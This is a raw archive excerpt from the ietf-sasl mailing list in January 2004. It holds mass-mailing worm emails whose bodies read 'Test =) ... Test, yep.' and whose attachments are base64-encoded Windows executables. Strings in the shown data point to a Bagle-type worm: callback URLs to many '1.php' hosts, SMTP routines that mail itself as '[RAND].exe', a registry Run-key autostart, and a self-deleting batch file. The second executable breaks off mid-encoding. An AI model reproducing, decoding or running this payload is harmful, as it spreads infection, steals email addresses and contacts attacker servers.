AABzaGx3YXBpLmRsbABpAEludGVybmV0Q2xvc2VIYW5kbGUAewBJbnRlcm5ldEdldENvbm5l Y3RlZFN0YXRlAIYASW50ZXJuZXRPcGVuQQCHAEludGVybmV0T3BlblVybEEAAHdpbmluZXQu ZGxsAIABUmVnQ2xvc2VLZXkAgwFSZWdDcmVhdGVLZXlBAKMBUmVnUXVlcnlWYWx1ZUV4QQAA rgFSZWdTZXRWYWx1ZUV4QQAAYWR2YXBpMzIuZGxsAAAqAEdldE5ldHdvcmtQYXJhbXMAAGlw aGxwYXBpLmRsbAAAbgBTaGVsbEV4ZWN1dGVBAFNIRUxMMzIuZGxsAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMTIAeRoAADE1MS4yMDEuMC4zOQAAAAAA AAAAAC53YWIALnR4dAAuaHRtAC5odG1sAAAucjEAQGhvdG1haWwuY29tAEBtc24uY29tAEBt aWNyb3NvZnQAQGF2cC4AACVzP3A9JWx1JmlkPSVzAGh0dHA6Ly93d3cuZWxyYXNzaG9wLmRl LzEucGhwAGh0dHA6Ly93d3cuaXQtbXNjLmRlLzEucGhwAGh0dHA6Ly93d3cuZ2V0eW91cmZy ZWUubmV0LzEucGhwAGh0dHA6Ly93d3cuZG1kZXNpZ24uZGUvMS5waHAAaHR0cDovLzY0LjE3 Ni4yMjguMTMvMS5waHAAaHR0cDovL3d3dy5sZW9uemVybml0c2t5LmNvbS8xLnBocABodHRw Oi8vMjE2Ljk4LjEzNi4yNDgvMS5waHAAaHR0cDovLzIxNi45OC4xMzQuMjQ3LzEucGhwAGh0 dHA6Ly93d3cuY2Ryb21jYS5jb20vMS5waHAAaHR0cDovL3d3dy5rdW5zdC1pbi10ZW1wbGlu LmRlLzEucGhwAGh0dHA6Ly92aXB3ZWIucnUvMS5waHAAaHR0cDovL2FudG9sLWNvLnJ1LzEu cGhwAGh0dHA6Ly93d3cuYmFncy1kb3N0YXZrYS5tYWdzLnJ1LzEucGhwAGh0dHA6Ly93d3cu NXgxMi5ydS8xLnBocABodHRwOi8vYm9zZS1hdWRpby5uZXQvMS5waHAAaHR0cDovL3d3dy5z dHRuZ2RhdGEuZGUvMS5waHAAaHR0cDovL3doOS50dS1kcmVzZGVuLmRlLzEucGhwAGh0dHA6 Ly93d3cubWljcm9udWtlLm5ldC8xLnBocABodHRwOi8vd3d3LnN0YWR0aGFnZW4ub3JnLzEu cGhwAGh0dHA6Ly93d3cuYmVhc3R5LWNhcnMuZGUvMS5waHAAaHR0cDovL3d3dy5wb2xvaGV4 ZS5kZS8xLnBocABodHRwOi8vd3d3LmJpbm84OC5kZS8xLnBocABodHRwOi8vd3d3LmdyZWZy YXRocGFlbnouZGUvMS5waHAAaHR0cDovL3d3dy5iaGFtaWR5LmRlLzEucGhwAGh0dHA6Ly93 d3cubXlzdGljLXZ3cy5kZS8xLnBocABodHRwOi8vd3d3LmF1dG8taG9iYnktZXNzZW4uZGUv MS5waHAAaHR0cDovL3d3dy5wb2xvemlja2UuZGUvMS5waHAAaHR0cDovL3d3dy50d3ItbXVz aWMuZGUvMS5waHAAaHR0cDovL3d3dy5zYy1lcmJlbmRvcmYuZGUvMS5waHAAaHR0cDovL3d3 dy5tb250YW5pYS5kZS8xLnBocABodHRwOi8vd3d3Lm1lZGktbWFydGluLmRlLzEucGhwAGh0 dHA6Ly92dmNnbi5kZS8xLnBocABodHRwOi8vd3d3LmJhbGxvbmZvdG8uY29tLzEucGhwAGh0 dHA6Ly93d3cubWFyZGVyLWdtYmguZGUvMS5waHAAaHR0cDovL3d3dy5kdmQtZmlsbWUuY29t LzEucGhwAGh0dHA6Ly93d3cuc21lYW5nb2wuY29tLzEucGhwAABEYXRlOiAlcw0KVG86ICVz DQpTdWJqZWN0OiBIaQ0KRnJvbTogJXMNCk1lc3NhZ2UtSUQ6IDwlcyVzPg0KTUlNRS1WZXJz aW9uOiAxLjANCkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOw0KICAgICAgICBib3Vu ZGFyeT0iLS0tLS0tLS0lcyINCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiB0ZXh0 L3BsYWluOyBjaGFyc2V0PSJ1cy1hc2NpaSINCkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6 IDdiaXQNCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LW1z ZG93bmxvYWQ7IG5hbWU9IlslJVJBTkQlJV0uZXhlIg0KQ29udGVudC1UcmFuc2Zlci1FbmNv ZGluZzogYmFzZTY0DQpDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFt ZT0iWyUlUkFORCUlXS5leGUiDQoNCgANCg0KLS0tLS0tLS0tLSVzLS0NCg0KLg0KACBUZXN0 ID0pDQpbJVJBTkQlXVslUkFORCVdDQotLQ0KVGVzdCwgeWVwLg0KOmwNCmRlbCAlMQ0KaWYg ZXhpc3QgJTEgZ290byBsDQpkZWwgJTAAYS5iYXQAb3BlbgBxAgAAzQ0BAAAAAAAAAAAAAAAA AAAAAAAAAAAAY2FsYy5leGUAb3BlbgBTT0ZUV0FSRVxXaW5kb3dzOTgAdWlkAFNPRlRXQVJF XE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1bgBkM2R1cGRhdGUuZXhlAFxi YmVhZ2xlLmV4ZQBmcnVuAAAAAAAAAAAAAAAAAAAsACAsDQoAPAA+AENDOiAAQkNDOgBUbzog AEhFTE8gJXMNCgBSU0VUDQoATUFJTCBGUk9NOjwlcz4NCgBSQ1BUIFRPOjwlcz4NCgBEQVRB DQoAWyVSQU5EJV0AZGRkJywnIGRkIE1NTSB5eXl5IABISDptbTpzcyAAJTAzaSUwMmkADQpc ACouKgBiZWFnbGVfYmVhZ2xlAFxic3VwbGQAIC11cGQALmV4ZQAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAgADAAAAIAAAgA4AAAA4AACAAAAAAAAAAAAAAAAAAAABAAEAAABQAACA AAAAAAAAAAAAAAAAAAABAAEAAABoAACAAAAAAAAAAAAAAAAAAAABAAAAAACAAAAAAAAAAAAA AAAAAAAAAAABAAAAAACQAAAAoJAAAOgCAAAAAAAAAAAAAIiTAAAUAAAAAAAAAAAAAAAoAAAA IAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAICAAIAA AACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////ABERERERERER ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER EREREREREREREREREREREREREQAAAAAAAAAAAAAAAAAAARZkREREREREREREREREREAW5mZm ZmZmZmZmZmZmZmZAFvZgAGAAYABgAGAAAABmQBbmb3BvcG9wb3Bvd3dwZkAW9m/wb/Bv8G/w b///8GZAFuZmZmZmZmZmZmZmZmZmQBb2YABgAGAAYABgAGAAZkAW5m9wb3BvcG9wb3BvcGZA FvZv8G/wb/Bv8G/wb/BmQBbmZmZmZmZmZmZmZmZmZkAW9mAAYABgAGAAYABgAGZAFuZvcG9w b3BvcG9wb3BmQBb2b/Bv8G/wb/Bv8G/wZkAW5mZmZmZmZmZmZmZmZmZAFvZgd3d3d3d3d2Zm ZmZmQBbmYP////////dmZmZmZkAW9mB3d3d3d3d3ZmZmZmZAFuZgAAAAAAAAAGZmZmZmQBb+ /v7+/v7+/v7+/v7+/kARZmZmZmZmZmZmZmZmZmZhERERERERERERERERERERERERERERERER ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER ERERERERERERERERERERERER///////////////////////////AAAABgAAAAIAAAACAAAAA gAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAA AACAAAAAgAAAAMAAAAH///////////////////////////////8AAAEAAQAgIBAAAQAEAOgC AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= ----------462482681382150-- From owner-ietf-sasl Mon Jan 19 20:30:27 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0K4UQib062368; Mon, 19 Jan 2004 20:30:26 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0K4UQSw062367; Mon, 19 Jan 2004 20:30:26 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from hope (c-24-12-6-193.client.comcast.net [24.12.6.193]) by above.proper.com (8.12.10/8.12.8) with SMTP id i0K4UOic062360 for ; Mon, 19 Jan 2004 20:30:25 -0800 (PST) (envelope-from jgmyers@netscape.com) Date: Mon, 19 Jan 2004 22:31:49 -0600 To: ietf-sasl@imc.org Subject: Hi From: jgmyers@netscape.com Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------572668853471687" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: ----------572668853471687 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Test =) kdirasorulen -- Test, yep. ----------572668853471687 Content-Type: application/x-msdownload; name="gorthh.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="fbou.exe" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAADchu8bmOeBSJjngUiY54FImOeBSJvngUgW+JJIxeeBSGTH k0iZ54FIX+GHSJnngUhSaWNomOeBSAAAAAAAAAAAAAAAAAAAAABQRQAATAEEAN9uCkAAAAAA AAAAAOAADwELAQUMACQAAABCAAAAAAAAijEAAAAQAAAAQAAAAABAAAAQAAAAAgAABAAAAAAA AAAEAAAAAAAAAACgAAAABAAAOScBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAA AAAAADhBAADIAAAAAJAAAKADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAOAEAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAGJlYWdsZQAAhiMAAAAQAAAAJAAAAAQAAAAAAAAAAAAAAAAAACAA AGAucmRhdGEAANQHAAAAQAAAAAgAAAAoAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAABONQAA AFAAAAAKAAAAMAAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAoAMAAACQAAAABAAAADoAAAAA AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 